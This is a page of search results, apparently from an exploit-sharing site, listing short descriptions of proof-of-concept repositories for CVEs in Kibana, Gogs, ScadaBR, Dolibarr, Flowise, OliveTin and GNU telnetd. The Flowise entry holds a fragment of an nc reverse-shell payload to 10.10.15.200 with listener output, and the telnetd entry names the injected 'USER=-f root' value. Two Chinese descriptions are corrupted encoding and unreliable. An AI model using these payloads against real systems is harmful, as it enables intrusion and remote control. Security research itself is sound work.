34832 matches found
ish
iSH A project to get a Linux shell running on iOS, using usermode x86 emulation and syscall translation. For the current status of the project, check the issues tab, and the commit logs. App Store page TestFlight beta Discord server Wiki with help and tutorials READMEไธญๆ ๅฆ่ฅๆช่ฝไฟๆๆๆฐ๏ผ่ฏทๆไบคPRไปฅๆดๆฐ Hacking...
CVE-2019-7069-POC
Kibana โ ๏ธ ๅ ่ดฃๅฃฐๆ: ๆฌ่ๆฌไป ็จไบๆ่ฒๅๆๆ็ๆธ้ๆต่ฏ ใ่ฏทๅฟๅจๆจไธๆฅๆๆๆช็ปๆ็กฎๆๆ็็ณป็ปไธไฝฟ็จใไฝ่ ๅ่ดก็ฎ่ ไธๅฏน่ฏฅๅทฅๅ ท็ไปปไฝ่ฏฏ็จๆๆๅฎณ่ด่ดฃใ ๐ฏ ่ฟๆฏไปไน๏ผ ่ฟๆฏไธไธช Python 3 ๆผๆดๅฉ็จ่ๆฌ๏ผ้ๅฏน Kibana 6.6.1 ็ๆฌไธญ็่ฟ็จไปฃ็ ๆง่กๆผๆด ใๅฎๅฉ็จๅๅๆฑกๆๆผๆดๅจๆๅๆปๅป็ Kibana ๅฎไพไธๆง่กไปปๆๅฝไปค๏ผๅ ๆฌ็ๆๅๅ shellใ ๐น๏ธ ๅ่ฝ็น็น ่ชๅจๆฃๆต Kibana ็ๆฌ ้ช่ฏๆผๆด็ถๆ ๅฏ้่งฆๅๅๅ shell ๅฐๆจ็็ๅฌๅจ ๆธ ๆฐใไบคไบๅผ็็ป็ซฏ่พๅบ ๅฎๅ จๅ ผๅฎน Python 3 ๐ ๅ่่ตๆ Exploit-DB ๆก็ฎ 46651 Kibana ๅฎๆน็ฝ็ซ...
CVE-2025-8110-PoC
CVE-2025-8110 PoC Python proof-of-concept script for CVE-2025-8110 โ Gogs v0.13.3 UpdateRepoFile symlink RCE. Single-shot: the malicious PUT itself triggers git fetch โ sshCommand โ reverse shell. โ ๏ธ For educational and authorized security research only. Running this tool against systems you do no...
CVE-2021-26828-Ultimate
ScadaFlare - CVE-2021-26828 Authenticated RCE Exploitation Toolkit A modular post-auth RCE exploit targeting ScadaBR 1.1.0, enhanced for red team ops. Features Uploads weaponized .jsp shell via viewedit.shtm Supports Linux & Windows payloads SOCKS5 / HTTP proxy support Reverse shell trigger...
CVE-2026-24061-setup
CVE-2026-24061 Setup This repository contains the Docker setup for CVE-2026-24061. Once you have installed Docker, just do the following: 1. Clone this repository. 2. Run the following command: root@kitploit: sudo docker build . --tag telnetd-auth-bypass 3. Once the docker image is built, we can...
hacktivity-vulns-exploits-lab
Vulnerabilities, Exploits, and Remote Access Payloads โ lab writeup My walkthrough and analysis of the Hacktivity Cyber Security Labs sheet "Vulnerabilities, Exploits, and Remote Access Payloads" Ethical Hacking and Penetration Testing course, Leeds Beckett University. It covers how software...
CVE-2026-33310
CVE-2026-33310 CVE-2026-33310Command Injection via shell Expansion in Parameter Defaults Summary The shell syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell, the command may be...
CVE-2026-23744-POC
CVE-2026-23744 โ MCPJam Inspector Unauthenticated RCE MCPJam Inspector -i -p -m...
TelnetdBypass-
TelnetdBypass โ CVE-2026-24061 Scanner A Python-based security scanner that detects and exploits CVE-2026-24061 , a critical CVSS 9.8 authentication bypass vulnerability in GNU InetUtils telnetd versions 1.9.3 through 2.7. How it Works The scanner injects a malicious USER=-f root value via the...
CVE-2023-30253-exploit
CVE-2023-30253 โ Dolibarr ERP/CRM 17.0.0 Remote Code Execution PHP code injection exploit for Dolibarr ERP/CRM v17.0.0 that allows obtaining a reverse shell as www-data user via the Website/CMS module. โ ๏ธ For educational purposes and authorized audits only. ๐ Table of Contents What is...
SSHintel
SSHintel โ Lightweight SSH Honeypot SSHintel is a lightweight SSH honeypot built using Python and Paramiko. It simulates a fake Linux shell to log unauthorized access attempts, capture credentials, and analyze attacker behavior in a controlled environment. ๐ง Features Logs SSH login attempts with...
CVE-2026-6009
โ ๏ธ Disclaimer: This repository is for educational purposes and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test. CVE-2026-6009 Proof of Concept Summary The Jaspersoft report library version = 7.0.3 is vulnerable to a remote cod...
CVE-2026-25099
CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE Description Bludit CMS versions before 3.18.4 allow an authenticated attacker with a valid API token to upload files of any type and extension via the POST /api/files/ endpoint. The uploadFile function performs no file extension or...
CVE-2025-24893_Shell
2025-24893Shell requirements: httpx use: python exploit.py victim.com...
Snow Crash
Snow Crash This project is an introduction to computer security. Snow Crash will help you discover security in various sub-domains, with a developer-oriented approach. You will become familiar with several languages ASM, Perl, Php, etc., develop a certain logic to understand unknown programs, and...
CVE-2026-67434
A flaw was found in PHPCodeSniffer. This command injection vulnerability allows an attacker to execute arbitrary shell commands. This occurs when PHPCodeSniffer processes untrusted files with specially crafted filenames containing shell metacharacters, specifically when generating Gitblame,...
CVE-2025-59528-Flowise-RCE
CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: โโ$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...
CVE-2023-20052
CVE-2023-20052 Exploit This repository contains a functional Proof of Concept PoC exploit for CVE-2023-20052 , affecting ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier. Demonstration Usage root@kitploit: git clone https://github.com/tralsesec/CVE-2023-20052.git cd...
CVE-2026-30225-OliveTin-RCE
OliveTin โ unauthenticated action execution โ RCE + CVE-2026-30225 PoC for privilege escalation / remote code execution against OliveTin instances that run with the shipped guest defaults. Verified against OliveTin 3000.10.0 running as root HTB: Enigma, where it yields an unauthenticated root...
CVE-2026-24061
CVE-2026-24061 GNU Inetutils telnetd Remote Authentication Bypass Seriously, telnet in 2026? Come on guys, it's time to move on. SSH exists since 1995. ๐คฆ Description A critical authentication bypass vulnerability in GNU Inetutils telnetd affecting versions 1.9.3 through 2.7. The vulnerability...